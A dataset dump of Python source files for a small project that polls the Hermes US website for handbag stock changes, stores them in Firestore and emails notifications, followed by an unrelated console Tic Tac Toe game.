import datetime\nimport pytz\n\nclass Crawler:\n def __init__(self):\n self.__request_session = requests.Session()\n self.__request_headers = {\n 'accept-language': 'en-US,en;q=0.9',\n 'user-agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36',\n }\n\n def fetch_skus_by_keyword(self, keyword):\n skus = []\n initial_response = self.__get('https://bck.hermes.com/product?locale=us_en&searchterm={}'.format(keyword))\n products_num = json.loads(initial_response.text)['total']\n offset = 0\n while offset < products_num:\n products_response = self.__get('https://bck.hermes.com/product?locale=us_en&searchterm={}&offset={}'.format(keyword, offset))\n products_json = json.loads(products_response.text)\n products = products_json['products']['items']\n for product in products:\n skus.append(product['sku'])\n offset += 36\n\n return skus\n\n def fetch_product_by_sku(self, sku, keyword):\n response = self.__get('https://bck.hermes.com/product-page?locale=us_en&productsku={}'.format(sku))\n product_json = json.loads(response.text)\n product = {\n 'sku': sku,\n 'pattern': formalize(product_json['title']),\n 'images': ['https:{}'.format(image['url']) for image in product_json['assets']],\n 'price': product_json['price'],\n 'url': 'https://www.hermes.com{}'.format(product_json['url']),\n 'slug': formalize(product_json['slug']),\n 'published': product_json['hasStock'],\n 'description_html': product_json['simpleAttributes']['description'],\n 'dimension': product_json['simpleAttributes']['dimensions'],\n 'color': product_json['simpleAttributes']['colorHermes'],\n 'updated_at': datetime.now(pytz.timezone('US/Pacific')),\n 'keyword': keyword,\n }\n\n return product\n\n def __get(self, url):\n return self.__request_session.get(url, headers=self.__request_headers)\n\ndef formalize(s):\n if None == s or '' == s:\n return ''\n return s.lower().strip()\n"},{"alpha_fraction":0.6853448152542114,"alphanum_fraction":0.6853448152542114,"avg_line_length":34.69230651855469,"blob_id":"92aafb024208cebcf2cd8d9478afe2957d92586d","content_id":"3c1a7cbc03aaad58c53703ddb54b88705d979915","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":928,"license_type":"no_license","max_line_length":101,"num_lines":26,"path":"/storage.py","repo_name":"zhouchangju1991/hermes_us","src_encoding":"UTF-8","text":"from google.cloud import storage\nimport config\n\nlog_bucket_name = 'nanazhou_hermes_us_log'\n\nclass Storage:\n def __init__(self):\n self.__client = storage.Client.from_service_account_json(config.service_credential_file_name)\n \n def upload(self, bucket_name, source_file_name, destination_file_name):\n bucket = self.__client.bucket(bucket_name)\n destination = bucket.blob(destination_file_name)\n destination.upload_from_filename(source_file_name)\n\n def upload_log(self, source_file_name, destination_file_name):\n self.upload(log_bucket_name, source_file_name, destination_file_name)\n\n def delete(self, bucket_name, blob_name):\n blob = self.__client.bucket(bucket_name).blob(blob_name)\n blob.delete()\n\n def delete_log(self, log_name):\n self.delete(log_bucket_name, log_name)\n\n def list_logs(self):\n return self.__client.list_blobs(log_bucket_name)\n"},{"alpha_fraction":0.5947888493537903,"alphanum_fraction":0.5947888493537903,"avg_line_length":32.69696807861328,"blob_id":"fcdeae58e85711a6ffca0067fa08e6b44a76b34b","content_id":"28e1be3774aac796d9f8eb56a187a3fe2d1dda83","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":1113,"license_type":"no_license","max_line_length":104,"num_lines":33,"path":"/log.py","repo_name":"zhouchangju1991/hermes_us","src_encoding":"UTF-8","text":"from datetime import datetime\nimport logging, pytz, os\nfrom pytz import timezone, utc\n\nclass Log:\n def __init__(self):\n today = datetime.now(pytz.timezone('US/Pacific')).strftime('%Y%m%d')\n file_name = '{}/log/hermes_us_{}.log'.format(os.path.dirname(os.path.realpath(__file__)), today)\n logging.basicConfig(filename=file_name,\n filemode='a',\n level=logging.INFO,\n format=\"%(asctime)s %(levelname)s: %(message)s\",\n datefmt=\"%Y-%m-%d %H:%M:%S\")\n logging.Formatter.converter = self.__PacificTime\n self.__logger = logging.getLogger(__name__)\n\n def __PacificTime(*args):\n utc_dt = utc.localize(datetime.utcnow())\n pt_tz = timezone(\"US/Pacific\")\n converted = utc_dt.astimezone(pt_tz)\n return converted.timetuple()\n\n def debug(self, message):\n self.__logger.debug(message)\n\n def info(self, message):\n self.__logger.info(message)\n\n def warning(self, message):\n self.__logger.warning(message)\n\n def error(self, message):\n self.__logger.error(message)\n\n"},{"alpha_fraction":0.703406810760498,"alphanum_fraction":0.703406810760498,"avg_line_length":37.38461685180664,"blob_id":"60c4e8b72043e2e4413a9105d6ea7bf24f63ffe4","content_id":"1c6ba1b5865d92e705a6140ae48810daddcc8f48","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":998,"license_type":"no_license","max_line_length":81,"num_lines":26,"path":"/database.py","repo_name":"zhouchangju1991/hermes_us","src_encoding":"UTF-8","text":"import firebase_admin\nfrom firebase_admin import credentials\nfrom firebase_admin import firestore\nimport config\n\nclass Database:\n def __init__(self):\n # fetch credential from the private key and get database instance.\n cred = credentials.Certificate(config.service_credential_file_name)\n firebase_admin.initialize_app(cred)\n self.db = firestore.client()\n\n def udpate_product_to_database(self, product, merge):\n self.update_document('hermes_us_product', product['sku'], product, merge)\n\n def update_document(self, collection_name, document_name, data, merge):\n if merge:\n self.document(collection_name, document_name).update(data)\n else:\n self.document(collection_name, document_name).set(data)\n\n def collection(self, collection_name):\n return self.db.collection(collection_name)\n\n def document(self, collection_name, document_name):\n return self.collection(collection_name).document(document_name)\n"}],"string":"[\n {\n \"alpha_fraction\": 0.6459657549858093,\n \"alphanum_fraction\": 0.6459657549858093,\n \"avg_line_length\": 31.983871459960938,\n \"blob_id\": \"13e2f2cad5d4cbb2736f17c30b9f794f01e4c514\",\n \"content_id\": \"28fd1496170ca4bce95d283cbf8d7efb919d7c19\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 4090,\n \"license_type\": \"no_license\",\n \"max_line_length\": 110,\n \"num_lines\": 124,\n \"path\": \"/main.py\",\n \"repo_name\": \"zhouchangju1991/hermes_us\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"from datetime import datetime\\nimport pytz\\nfrom crawler import Crawler\\nfrom database import Database\\nfrom mailer import Mailer\\nfrom log import Log\\n\\n# Creates a log object. The log file name is today's date.\\nlog = Log()\\n\\n# Create database object\\ntry:\\n database = Database()\\nexcept Exception as exception:\\n log.error('Fail to create Database object. Error message: {}'.format(exception))\\n exit()\\n\\n# Create crawler object\\ntry:\\n crawler = Crawler()\\nexcept Exception as exception:\\n log.error('Fail to create Crawler object. Error message: {}'.format(exception))\\n exit()\\n\\n# Create email object\\ntry:\\n mailer = Mailer()\\nexcept Exception as exception:\\n log.error('Fail to create Mailer object. Error message: {}'.format(exception))\\n exit()\\n\\ndef main():\\n keyword_docs = database.collection('hermes_us_keyword').where('is_valid', '==', True).stream()\\n keywords = [doc.to_dict()['keyword'] for doc in keyword_docs]\\n skus = []\\n for keyword in keywords:\\n for sku in crawler.fetch_skus_by_keyword(keyword):\\n if sku in skus:\\n continue\\n product = crawler.fetch_product_by_sku(sku, keyword)\\n if not product or not product['published']:\\n log.info('{} is fetched while the product is out of stock'.format(sku))\\n continue\\n check_product(product)\\n skus.append(sku)\\n\\n log.info('{} skus are fetched from {} keywords'.format(len(skus), len(keywords)))\\n check_unpublish_products(keywords, skus)\\n\\ndef check_product(product):\\n sku = product['sku']\\n product_prev = database.document('hermes_us_product', sku).get().to_dict()\\n\\n if not product_prev:\\n # Insert the product into the database if not exists\\n create_product(product)\\n mailer.send_email(product, 'published', product['updated_at'])\\n elif not product_prev['published']:\\n update_product_by_product(product, product_prev)\\n mailer.send_email(product, 'republished', product['updated_at'])\\n\\ndef create_product(product):\\n timestamp = product['updated_at']\\n\\n product['created_at'] = timestamp\\n product['last_published_at'] = timestamp\\n product['historical_publish'] = [{\\n 'publish': True,\\n 'timestamp': timestamp,\\n }]\\n product['published'] = True\\n\\n database.udpate_product_to_database(product, merge=False) \\n\\ndef update_product_by_product(product, product_prev):\\n timestamp = product['updated_at']\\n is_publish = product['published']\\n\\n if is_publish:\\n product['last_published_at'] = timestamp\\n\\n product['historical_publish'] = product_prev['historical_publish']\\n if is_publish != product_prev['published']:\\n product['historical_publish'].append({\\n 'publish': is_publish,\\n 'timestamp': timestamp,\\n })\\n\\n database.udpate_product_to_database(product, merge=False)\\n\\ndef update_product_publish_by_sku(sku, product_prev, is_publish):\\n timestamp = datetime.now(pytz.timezone('US/Pacific'))\\n product = {\\n 'sku': sku,\\n 'updated_at': timestamp,\\n 'historical_publish': product_prev['historical_publish'],\\n 'published': is_publish,\\n }\\n\\n if is_publish:\\n product['last_published_at'] = timestamp\\n\\n if is_publish != product_prev['published']:\\n product['historical_publish'].append({\\n 'publish': is_publish,\\n 'timestamp': timestamp,\\n })\\n\\n database.udpate_product_to_database(product, merge=True)\\n\\ndef check_unpublish_products(keywords, skus):\\n timestamp = datetime.now(pytz.timezone('US/Pacific'))\\n published_products_docs = database.collection('hermes_us_product').where('published', '==', True).stream()\\n for doc in published_products_docs:\\n product_prev = doc.to_dict()\\n if product_prev['keyword'] not in keywords:\\n continue\\n sku = product_prev['sku']\\n if sku not in skus:\\n update_product_publish_by_sku(sku, product_prev, False)\\n mailer.send_email(product_prev, 'unpublished', timestamp)\\n\\nif __name__ == '__main__':\\n main()\\n\"\n },\n {\n \"alpha_fraction\": 0.8081181049346924,\n \"alphanum_fraction\": 0.8081181049346924,\n \"avg_line_length\": 107.4000015258789,\n \"blob_id\": \"fe475e93cd73d9f45ee0f51c589c60169a1fa017\",\n \"content_id\": \"2b04009c42408c9dba4db31b3ede4f8f4a9038c9\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Markdown\",\n \"length_bytes\": 542,\n \"license_type\": \"no_license\",\n \"max_line_length\": 271,\n \"num_lines\": 5,\n \"path\": \"/README.md\",\n \"repo_name\": \"zhouchangju1991/hermes_us\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"The project is built on Google Cloud Compute Engine. Credential-related files are ignored and not uploaded to github.\\n\\nThis project fetches the near real time stock information from Hermes US website and send notifications when some products are published/unpublished.\\n\\nmain.py contains the logic for the whole process. main() in main.py is scheduled to be called every minute. database.py is for read / write to firestore database. crawler.py is for crawling Hermes US website. mailer.py is for sending notifications. log.py is for logging.\\n\"\n },\n {\n \"alpha_fraction\": 0.6256517171859741,\n \"alphanum_fraction\": 0.6277372241020203,\n \"avg_line_length\": 32.068965911865234,\n \"blob_id\": \"84efc67eff9907f73522bb789935b594ac5984d2\",\n \"content_id\": \"25b85abded8bdf7afe2776576984234eb2c5449f\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 959,\n \"license_type\": \"no_license\",\n \"max_line_length\": 103,\n \"num_lines\": 29,\n \"path\": \"/upload_log_to_storage.py\",\n \"repo_name\": \"zhouchangju1991/hermes_us\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import os, pytz\\nfrom storage import Storage\\nfrom datetime import datetime, timedelta\\n\\nstorage = Storage()\\n\\ndef upload_log():\\n today_log = 'hermes_us_{}.log'.format(datetime.now(pytz.timezone('US/Pacific')).strftime('%Y%m%d'))\\n log_dir = '{}/log/'.format(os.path.dirname(os.path.realpath(__file__)))\\n for log_name in os.listdir(log_dir):\\n if log_name >= today_log:\\n continue\\n source = '{}/{}'.format(log_dir, log_name)\\n storage.upload_log(source, log_name)\\n os.remove(source)\\n\\n# Removes logs that are created at or before gap_days ago.\\ndef remove_old_logs(gap_days):\\n date = datetime.now(pytz.timezone('US/Pacific')).strftime('%Y%m%d') - timedelta(days=gap_days)\\n earlist_log = 'hermes_us_{}.log'.format(date)\\n for log in storage.list_logs():\\n if log < earlist_log:\\n storage.delete_log(log)\\n\\nif __name__ == '__main__':\\n gap_days = 30\\n remove_old_logs(gap_days)\\n\\n upload_log()\\n\"\n },\n {\n \"alpha_fraction\": 0.4976213276386261,\n \"alphanum_fraction\": 0.5004757642745972,\n \"avg_line_length\": 36.53571319580078,\n \"blob_id\": \"161b589aa8cb781f5d378e05c76db2176c143f7e\",\n \"content_id\": \"a030be05bba6cc3419eef4011bded03b481d3320\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 2102,\n \"license_type\": \"no_license\",\n \"max_line_length\": 111,\n \"num_lines\": 56,\n \"path\": \"/mailer.py\",\n \"repo_name\": \"zhouchangju1991/hermes_us\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import os\\nfrom sendgrid import SendGridAPIClient\\nfrom sendgrid.helpers.mail import Mail, From, To, Subject, PlainTextContent, HtmlContent\\nimport config\\n\\nclass Mailer:\\n def __init__(self):\\n self.__sg = SendGridAPIClient(config.send_grid_api_key)\\n\\n def send_email_base(self, from_email, to_emails, subject, html_content):\\n message = Mail(from_email=From(from_email),\\n to_emails=[To(to_email) for to_email in to_emails],\\n subject=Subject(subject),\\n html_content=HtmlContent(html_content))\\n return self.__sg.send(message)\\n\\n def send_email_to_me(self, subject, html_content):\\n return self.send_email_base(\\n from_email='nanazhoushop@gmail.com',\\n to_emails=['nanazhouh@gmail.com'],\\n subject=subject,\\n html_content=html_content) \\n\\n def send_email(self, product, action, timestamp):\\n time = '{} PT'.format(timestamp.strftime(\\\"%Y-%m-%d, %H:%M:%S\\\"))\\n pattern = product['pattern']\\n color = product['color']\\n url = product['url']\\n has_image = False\\n if len(product['images']) > 0:\\n has_image = True\\n image = product['images'][0]\\n\\n subject = 'Hermes US {} {} - {} at {}'.format(action, pattern, color, time)\\n if has_image:\\n html_content = '''\\n <div>\\n <a href='{}' style='font-size:14px; font-weight:bold; color:black; text-decoration: none;'>\\n {} - {}\\n </a>\\n </div>\\n <br/>\\n <div>\\n <a href='{}'><img src='{}' /></a>\\n </div>\\n '''.format(url, pattern, color, url, image)\\n else:\\n html_content = '''\\n <div>\\n <a href='{}' style='font-size:14px; font-weight:bold; color:black; text-decoration: none;'>\\n {} - {}\\n </a>\\n </div>\\n '''.format(url, pattern, color)\\n\\n self.send_email_to_me(subject=subject, html_content=html_content)\\n\"\n },\n {\n \"alpha_fraction\": 0.5734597444534302,\n \"alphanum_fraction\": 0.5876777172088623,\n \"avg_line_length\": 27.133333206176758,\n \"blob_id\": \"5387b302ce67c1cea2fe0dba97503d413798ed65\",\n \"content_id\": \"8c90abab4eaf935e62c3e46ab107d1c7c54cbd1b\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 844,\n \"license_type\": \"no_license\",\n \"max_line_length\": 81,\n \"num_lines\": 30,\n \"path\": \"/add_keyword_to_database.py\",\n \"repo_name\": \"zhouchangju1991/hermes_us\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"from datetime import datetime\\nimport pytz\\nfrom database import Database\\n\\ndatabase = Database()\\n\\nkeywords = ['evelyne 16 amazone bag',\\n 'herbag zip 31',\\n 'picotin lock 18',\\n 'picotin lock 22',\\n 'kelly classique to go',\\n 'lindy 26',\\n 'lindy mini',\\n 'roulis mini',\\n 'roulis 23',\\n 'rodeo',\\n 'constance long to go',\\n 'oran nano',]\\nfor keyword in keywords:\\n timestamp = datetime.now(pytz.timezone('US/Pacific'))\\n document_name = keyword.lower().replace(' ', '_')\\n data = {\\n 'keyword': keyword,\\n 'is_valid': True,\\n 'created_at': timestamp,\\n 'updated_at': timestamp,\\n }\\n\\n if not database.document('hermes_us_keyword', document_name).get().to_dict():\\n database.update_document('hermes_us_keyword', document_name, data, False)\\n\"\n },\n {\n \"alpha_fraction\": 0.5730735063552856,\n \"alphanum_fraction\": 0.5876882076263428,\n \"avg_line_length\": 40.814815521240234,\n \"blob_id\": \"09a0cbeb1e44f3ad4f2c0f0918055785cc4c76cf\",\n \"content_id\": \"6d3702a9f10f11601ceef6675c8cd2f61e73b26f\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 2258,\n \"license_type\": \"no_license\",\n \"max_line_length\": 137,\n \"num_lines\": 54,\n \"path\": \"/crawler.py\",\n \"repo_name\": \"zhouchangju1991/hermes_us\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import requests, json\\nfrom datetime import datetime\\nimport pytz\\n\\nclass Crawler:\\n def __init__(self):\\n self.__request_session = requests.Session()\\n self.__request_headers = {\\n 'accept-language': 'en-US,en;q=0.9',\\n 'user-agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36',\\n }\\n\\n def fetch_skus_by_keyword(self, keyword):\\n skus = []\\n initial_response = self.__get('https://bck.hermes.com/product?locale=us_en&searchterm={}'.format(keyword))\\n products_num = json.loads(initial_response.text)['total']\\n offset = 0\\n while offset < products_num:\\n products_response = self.__get('https://bck.hermes.com/product?locale=us_en&searchterm={}&offset={}'.format(keyword, offset))\\n products_json = json.loads(products_response.text)\\n products = products_json['products']['items']\\n for product in products:\\n skus.append(product['sku'])\\n offset += 36\\n\\n return skus\\n\\n def fetch_product_by_sku(self, sku, keyword):\\n response = self.__get('https://bck.hermes.com/product-page?locale=us_en&productsku={}'.format(sku))\\n product_json = json.loads(response.text)\\n product = {\\n 'sku': sku,\\n 'pattern': formalize(product_json['title']),\\n 'images': ['https:{}'.format(image['url']) for image in product_json['assets']],\\n 'price': product_json['price'],\\n 'url': 'https://www.hermes.com{}'.format(product_json['url']),\\n 'slug': formalize(product_json['slug']),\\n 'published': product_json['hasStock'],\\n 'description_html': product_json['simpleAttributes']['description'],\\n 'dimension': product_json['simpleAttributes']['dimensions'],\\n 'color': product_json['simpleAttributes']['colorHermes'],\\n 'updated_at': datetime.now(pytz.timezone('US/Pacific')),\\n 'keyword': keyword,\\n }\\n\\n return product\\n\\n def __get(self, url):\\n return self.__request_session.get(url, headers=self.__request_headers)\\n\\ndef formalize(s):\\n if None == s or '' == s:\\n return ''\\n return s.lower().strip()\\n\"\n },\n {\n \"alpha_fraction\": 0.6853448152542114,\n \"alphanum_fraction\": 0.6853448152542114,\n \"avg_line_length\": 34.69230651855469,\n \"blob_id\": \"92aafb024208cebcf2cd8d9478afe2957d92586d\",\n \"content_id\": \"3c1a7cbc03aaad58c53703ddb54b88705d979915\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 928,\n \"license_type\": \"no_license\",\n \"max_line_length\": 101,\n \"num_lines\": 26,\n \"path\": \"/storage.py\",\n \"repo_name\": \"zhouchangju1991/hermes_us\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"from google.cloud import storage\\nimport config\\n\\nlog_bucket_name = 'nanazhou_hermes_us_log'\\n\\nclass Storage:\\n def __init__(self):\\n self.__client = storage.Client.from_service_account_json(config.service_credential_file_name)\\n \\n def upload(self, bucket_name, source_file_name, destination_file_name):\\n bucket = self.__client.bucket(bucket_name)\\n destination = bucket.blob(destination_file_name)\\n destination.upload_from_filename(source_file_name)\\n\\n def upload_log(self, source_file_name, destination_file_name):\\n self.upload(log_bucket_name, source_file_name, destination_file_name)\\n\\n def delete(self, bucket_name, blob_name):\\n blob = self.__client.bucket(bucket_name).blob(blob_name)\\n blob.delete()\\n\\n def delete_log(self, log_name):\\n self.delete(log_bucket_name, log_name)\\n\\n def list_logs(self):\\n return self.__client.list_blobs(log_bucket_name)\\n\"\n },\n {\n \"alpha_fraction\": 0.5947888493537903,\n \"alphanum_fraction\": 0.5947888493537903,\n \"avg_line_length\": 32.69696807861328,\n \"blob_id\": \"fcdeae58e85711a6ffca0067fa08e6b44a76b34b\",\n \"content_id\": \"28e1be3774aac796d9f8eb56a187a3fe2d1dda83\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 1113,\n \"license_type\": \"no_license\",\n \"max_line_length\": 104,\n \"num_lines\": 33,\n \"path\": \"/log.py\",\n \"repo_name\": \"zhouchangju1991/hermes_us\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"from datetime import datetime\\nimport logging, pytz, os\\nfrom pytz import timezone, utc\\n\\nclass Log:\\n def __init__(self):\\n today = datetime.now(pytz.timezone('US/Pacific')).strftime('%Y%m%d')\\n file_name = '{}/log/hermes_us_{}.log'.format(os.path.dirname(os.path.realpath(__file__)), today)\\n logging.basicConfig(filename=file_name,\\n filemode='a',\\n level=logging.INFO,\\n format=\\\"%(asctime)s %(levelname)s: %(message)s\\\",\\n datefmt=\\\"%Y-%m-%d %H:%M:%S\\\")\\n logging.Formatter.converter = self.__PacificTime\\n self.__logger = logging.getLogger(__name__)\\n\\n def __PacificTime(*args):\\n utc_dt = utc.localize(datetime.utcnow())\\n pt_tz = timezone(\\\"US/Pacific\\\")\\n converted = utc_dt.astimezone(pt_tz)\\n return converted.timetuple()\\n\\n def debug(self, message):\\n self.__logger.debug(message)\\n\\n def info(self, message):\\n self.__logger.info(message)\\n\\n def warning(self, message):\\n self.__logger.warning(message)\\n\\n def error(self, message):\\n self.__logger.error(message)\\n\\n\"\n },\n {\n \"alpha_fraction\": 0.703406810760498,\n \"alphanum_fraction\": 0.703406810760498,\n \"avg_line_length\": 37.38461685180664,\n \"blob_id\": \"60c4e8b72043e2e4413a9105d6ea7bf24f63ffe4\",\n \"content_id\": \"1c6ba1b5865d92e705a6140ae48810daddcc8f48\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 998,\n \"license_type\": \"no_license\",\n \"max_line_length\": 81,\n \"num_lines\": 26,\n \"path\": \"/database.py\",\n \"repo_name\": \"zhouchangju1991/hermes_us\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import firebase_admin\\nfrom firebase_admin import credentials\\nfrom firebase_admin import firestore\\nimport config\\n\\nclass Database:\\n def __init__(self):\\n # fetch credential from the private key and get database instance.\\n cred = credentials.Certificate(config.service_credential_file_name)\\n firebase_admin.initialize_app(cred)\\n self.db = firestore.client()\\n\\n def udpate_product_to_database(self, product, merge):\\n self.update_document('hermes_us_product', product['sku'], product, merge)\\n\\n def update_document(self, collection_name, document_name, data, merge):\\n if merge:\\n self.document(collection_name, document_name).update(data)\\n else:\\n self.document(collection_name, document_name).set(data)\\n\\n def collection(self, collection_name):\\n return self.db.collection(collection_name)\\n\\n def document(self, collection_name, document_name):\\n return self.collection(collection_name).document(document_name)\\n\"\n }\n]","isConversational":false},"num_files":{"kind":"number","value":9,"string":"9"}}},{"rowIdx":2978366,"cells":{"repo_name":{"kind":"string","value":"RituSin/TicTacToe"},"repo_url":{"kind":"string","value":"https://github.com/RituSin/TicTacToe"},"snapshot_id":{"kind":"string","value":"a3cfbabd4b759d0af22a68ab673e1eeb9a072579"},"revision_id":{"kind":"string","value":"b1c8415c3291bf9083819e0c3e092b402a473add"},"directory_id":{"kind":"string","value":"74eda659d40b2034d2b20464dd13681a6396414a"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2022-07-10T00:46:24.767515","string":"2022-07-10T00:46:24.767515"},"revision_date":{"kind":"timestamp","value":"2020-05-19T13:28:02","string":"2020-05-19T13:28:02"},"committer_date":{"kind":"timestamp","value":"2020-05-19T13:28:02","string":"2020-05-19T13:28:02"},"github_id":{"kind":"number","value":265251184,"string":"265,251,184"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_language":{"kind":"null"},"files":{"kind":"list like","value":[{"alpha_fraction":0.5655582547187805,"alphanum_fraction":0.5839415788650513,"avg_line_length":23.390727996826172,"blob_id":"d753a37f040eba731bea6b73e66a20e8f386d1f2","content_id":"29b4bd5bd073c8f1cccb98439b7f30b8647a0e32","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":3699,"license_type":"no_license","max_line_length":73,"num_lines":151,"path":"/TicTacToe.py","repo_name":"RituSin/TicTacToe","src_encoding":"UTF-8","text":"#from IPython.display import clear_output\nimport random\n\ndef display_board(mylist):\n\t#clear_output()\n\tprint('\\n'*100)\n\tprint(' | | ')\n\tprint(' '+mylist[7] + ' | '+mylist[8]+' | '+mylist[9]+' ')\n\tprint(' | | ')\n\tprint('-----------------')\n\tprint(' | | ')\n\tprint(' '+mylist[4] + ' | '+mylist[5]+' | '+mylist[6]+' ')\n\tprint(' | | ')\n\tprint('-----------------')\n\tprint(' | | ')\n\tprint(' '+mylist[1] + ' | '+mylist[2]+' | '+mylist[3]+' ')\n\tprint(' | | ')\n\t\ndef player_input():\n\tmarker= False\n\twhile marker not in ['X','O']:\n\t\tprint('Player 1: Do You want X or O? ')\n\t\tmarker = input()\n\tif(marker == 'X'):\n\t\treturn ('X','O')\n\telse:\n\t\treturn ('O','X')\t\n\t\t\t\ndef place_marker(Test_board,marker,position):\t\n\tTest_board[position]= marker\n\tdisplay_board(Test_board)\t\n\ndef win_check(board,mark):\n\treturn (\n\t(board[1] == board[2] == board[3] == mark)or #row\n\t(board[4] == board[5] == board[6] == mark)or #row\n\t(board[7] == board[8] == board[9] == mark)or #row\n\t(board[1] == board[4] == board[7] == mark)or #column\n\t(board[2] == board[5] == board[8] == mark)or #column\n\t(board[3] == board[6] == board[9] == mark)or #column\n\t(board[7] == board[5] == board[3] == mark)or #dig\n\t(board[1] == board[5] == board[9] == mark) #dig\n\t)\t\n\t\ndef choose_first():\n\tflip = random.randint(0,1)\n\tif(flip == 0):\n\t\treturn 'Player 1'\n\telse:\n\t\treturn 'Player 2'\n\n\n#if space in the board is freely available\ndef space_check(board,position):\n\treturn board[position] == ' ' \n\t\n#if the board full return true\ndef full_board_check(board):\n\tfor i in range(1,10):\n\t\tif(space_check(board,i)):\n\t\t\treturn False\n\t\t\n\treturn True\t\n\t\n#Player's move\t\ndef player_choice(board,turn):\n\tpos = 0\n\twhile pos not in [1,2,3,4,5,6,7,8,9] or not space_check(board,pos):\n\t\tpos = int(input(turn + ' choose num between 1-9: '))\n\treturn pos\t\n\t\t\t\n#ask player if they want to play again\ndef reply():\n\treturn input('want to play again? select Yes otherwise No : ')\t== 'Yes'\t\n\n\n#while loop to keep running the game\nprint('Welcome to Tic Tac Toe\\n')\n\nwhile True:\n\t#Play the game.\n\n\t##Set everything up-> board<choose marker<whose first\n\tthe_board = [' ']*10\n\tPlayer1marker, Player2marker = player_input()\n\tturn = choose_first()\n\t\n\tprint(turn + ' Goes first!!!\\n')\n\tPlayGame = input('Ready to play? y or n: ')\n\tif(PlayGame == 'y'):\n\t\tGameON = True\n\telse:\n\t\tGameON = False\n\t\t\n\t#Game play\n\twhile GameON:\n\t\tif turn == 'Player 1':\n\t\t\t##Player one turn\n\t\t\t\n\t\t\t#show the board\n\t\t\tdisplay_board(the_board)\n\t\t\t\n\t\t\t#choose a position\n\t\t\tpos = player_choice(the_board,turn)\n\t\t\t\n\t\t\t#place the marker on the position\n\t\t\tplace_marker(the_board,Player1marker,pos)\n\t\t\t\n\t\t\t#check if they won\n\t\t\tif win_check(the_board,Player1marker):\n\t\t\t\tdisplay_board(the_board)\n\t\t\t\tprint(turn + ' wins\\n')\n\t\t\t\tGameON = False\n\t\t\telse:\n\t\t\t\t#or check if there is a tie\t\t\t\n\t\t\t\tif(full_board_check(the_board)):\n\t\t\t\t\tdisplay_board(the_board)\n\t\t\t\t\tprint('Tie Game\\n')\n\t\t\t\t\tbreak\n\t\t\t\telse:\n\t\t\t\t\t#no tie and no win ? then next player's turn\n\t\t\t\t\tturn = 'Player 2'\t\t\t\t \n\t\telse:\n\t\t\t## Player Two turn\n\t\t\t\n\t\t\t#show the board\n\t\t\tdisplay_board(the_board)\n\t\t\t\n\t\t\t#choose a position\n\t\t\tpos = player_choice(the_board,turn)\n\t\t\t\n\t\t\t#place the marker on the position\n\t\t\tplace_marker(the_board,Player2marker,pos)\n\t\t\t\n\t\t\t#check if they won\n\t\t\tif win_check(the_board,Player2marker):\n\t\t\t\tdisplay_board(the_board)\n\t\t\t\tprint(turn + ' wins\\n')\n\t\t\t\tGameON = False\n\t\t\telse:\n\t\t\t\t#or check if there is a tie\t\t\t\n\t\t\t\tif(full_board_check(the_board)):\n\t\t\t\t\tdisplay_board(the_board)\n\t\t\t\t\tprint('Tie Game\\n')\n\t\t\t\t\tbreak\n\t\t\t\telse:\n\t\t\t\t\t#no tie and no win ? then next player's turn\n\t\t\t\t\tturn = 'Player 1'\t\n\t\t\n\tif(not reply()):\n\t\tbreak\n\t\t\t\t\t\n\t\n\t\t\n\t\t\n\n\t"}],"string":"[\n {\n \"alpha_fraction\": 0.5655582547187805,\n \"alphanum_fraction\": 0.5839415788650513,\n \"avg_line_length\": 23.390727996826172,\n \"blob_id\": \"d753a37f040eba731bea6b73e66a20e8f386d1f2\",\n \"content_id\": \"29b4bd5bd073c8f1cccb98439b7f30b8647a0e32\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 3699,\n \"license_type\": \"no_license\",\n \"max_line_length\": 73,\n \"num_lines\": 151,\n \"path\": \"/TicTacToe.py\",\n \"repo_name\": \"RituSin/TicTacToe\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"#from IPython.display import clear_output\\nimport random\\n\\ndef display_board(mylist):\\n\\t#clear_output()\\n\\tprint('\\\\n'*100)\\n\\tprint(' | | ')\\n\\tprint(' '+mylist[7] + ' | '+mylist[8]+' 